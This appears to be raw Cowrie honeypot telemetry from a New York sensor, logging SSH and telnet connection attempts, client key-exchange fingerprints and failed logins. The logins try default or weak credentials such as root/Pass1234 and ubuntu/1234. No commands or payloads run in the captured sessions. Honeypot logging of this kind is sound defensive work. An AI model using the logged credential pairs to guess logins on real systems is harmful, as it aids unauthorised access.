{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:00.659513Z","src_ip":"192.109.200.237","session":"1e5955a07672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:00.911909Z","src_ip":"192.109.200.237","session":"1e5955a07672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:02.081211Z","src_ip":"192.109.200.237","session":"1e5955a07672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.016591310501099,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:02.755243Z","src_ip":"172.210.68.2","session":"5b3c5bbb19d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.68.2","src_port":35700,"dst_ip":"159.203.135.109","dst_port":23,"session":"63389ac3462f","protocol":"telnet","message":"New connection: 172.210.68.2:35700 (159.203.135.109:23) [session: 63389ac3462f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:02.762364Z"}
{"eventid":"cowrie.session.closed","duration":0.02247142791748047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:02.784713Z","src_ip":"172.210.68.2","session":"63389ac3462f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49560,"dst_ip":"159.203.135.109","dst_port":22,"session":"af49d9a23fc4","protocol":"ssh","message":"New connection: 192.109.200.237:49560 (159.203.135.109:22) [session: af49d9a23fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:03.548450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:03.553277Z","src_ip":"192.109.200.237","session":"af49d9a23fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:03.637738Z","src_ip":"192.109.200.237","session":"af49d9a23fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:03.883558Z","src_ip":"192.109.200.237","session":"af49d9a23fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:04.968615Z","src_ip":"192.109.200.237","session":"af49d9a23fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49562,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c35b2a0be4","protocol":"ssh","message":"New connection: 192.109.200.237:49562 (159.203.135.109:22) [session: f9c35b2a0be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:06.660172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:06.694432Z","src_ip":"192.109.200.237","session":"f9c35b2a0be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:06.743174Z","src_ip":"192.109.200.237","session":"f9c35b2a0be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:07.061478Z","src_ip":"192.109.200.237","session":"f9c35b2a0be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:08.145702Z","src_ip":"192.109.200.237","session":"f9c35b2a0be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49572,"dst_ip":"159.203.135.109","dst_port":22,"session":"501681ca134f","protocol":"ssh","message":"New connection: 192.109.200.237:49572 (159.203.135.109:22) [session: 501681ca134f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:09.762110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:09.766969Z","src_ip":"192.109.200.237","session":"501681ca134f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:09.848967Z","src_ip":"192.109.200.237","session":"501681ca134f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:10.095473Z","src_ip":"192.109.200.237","session":"501681ca134f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:11.180949Z","src_ip":"192.109.200.237","session":"501681ca134f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.5593581199646,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.594798Z","src_ip":"34.34.140.227","session":"76919a441209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.881556987762451,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.600780Z","src_ip":"34.34.140.227","session":"b682f560b705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.728049993515015,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.604499Z","src_ip":"34.34.140.227","session":"4ed2c1e586c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.205309867858887,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.608451Z","src_ip":"34.34.140.227","session":"1f562e9062bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.04737401008606,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.612031Z","src_ip":"34.34.140.227","session":"ca4830a55a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.36646580696106,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.615592Z","src_ip":"34.34.140.227","session":"f0a792db015e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.523851156234741,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.619041Z","src_ip":"34.34.140.227","session":"77810d284b62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.681475162506104,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.622059Z","src_ip":"34.34.140.227","session":"fe82f032f40e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.918892860412598,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.695229Z","src_ip":"34.34.140.227","session":"25c9411d905a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.078137874603271,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.699558Z","src_ip":"34.34.140.227","session":"8b095b506749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.3953218460083,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.703239Z","src_ip":"34.34.140.227","session":"724d1e863239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.242074489593506,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.706875Z","src_ip":"34.34.140.227","session":"2db70a4a3f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.869184255599976,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.711058Z","src_ip":"34.34.140.227","session":"cf26942fe47d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.561751365661621,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.715002Z","src_ip":"34.34.140.227","session":"f917d79faf0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.113086700439453,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.719277Z","src_ip":"34.34.140.227","session":"b52820fdb001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.426124095916748,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.723990Z","src_ip":"34.34.140.227","session":"523a34e9246f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.276691913604736,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.728316Z","src_ip":"34.34.140.227","session":"3cf1fa4f9487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.58806610107422,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.732351Z","src_ip":"34.34.140.227","session":"39519f5f5a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.746276140213013,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.736059Z","src_ip":"34.34.140.227","session":"d4726f50428f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.060863256454468,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.739868Z","src_ip":"34.34.140.227","session":"aa72af6d171a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.907703399658203,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.743800Z","src_ip":"34.34.140.227","session":"b32004dae8fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.391133546829224,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.747954Z","src_ip":"34.34.140.227","session":"30d4f34c91c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.23108458518982,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.751971Z","src_ip":"34.34.140.227","session":"c375797eaa93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.780517578125,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.755656Z","src_ip":"34.34.140.227","session":"4f1c6bd3448a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.108423709869385,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.762759Z","src_ip":"34.34.140.227","session":"2abfbf8ea57d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.278499841690063,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.779226Z","src_ip":"34.34.140.227","session":"e43fca7f5a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.593372106552124,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.783352Z","src_ip":"34.34.140.227","session":"436fc3cd81bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59074,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3b393b27c9","protocol":"ssh","message":"New connection: 192.109.200.237:59074 (159.203.135.109:22) [session: de3b393b27c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.804856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.810488Z","src_ip":"192.109.200.237","session":"de3b393b27c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:12.893380Z","src_ip":"192.109.200.237","session":"de3b393b27c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:13.139938Z","src_ip":"192.109.200.237","session":"de3b393b27c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:14.226023Z","src_ip":"192.109.200.237","session":"de3b393b27c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff46efb9632e","protocol":"ssh","message":"New connection: 192.109.200.237:59076 (159.203.135.109:22) [session: ff46efb9632e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:15.843061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:15.847518Z","src_ip":"192.109.200.237","session":"ff46efb9632e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:15.928796Z","src_ip":"192.109.200.237","session":"ff46efb9632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:16.276025Z","src_ip":"192.109.200.237","session":"ff46efb9632e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:17.361469Z","src_ip":"192.109.200.237","session":"ff46efb9632e","protocol":"ssh"}
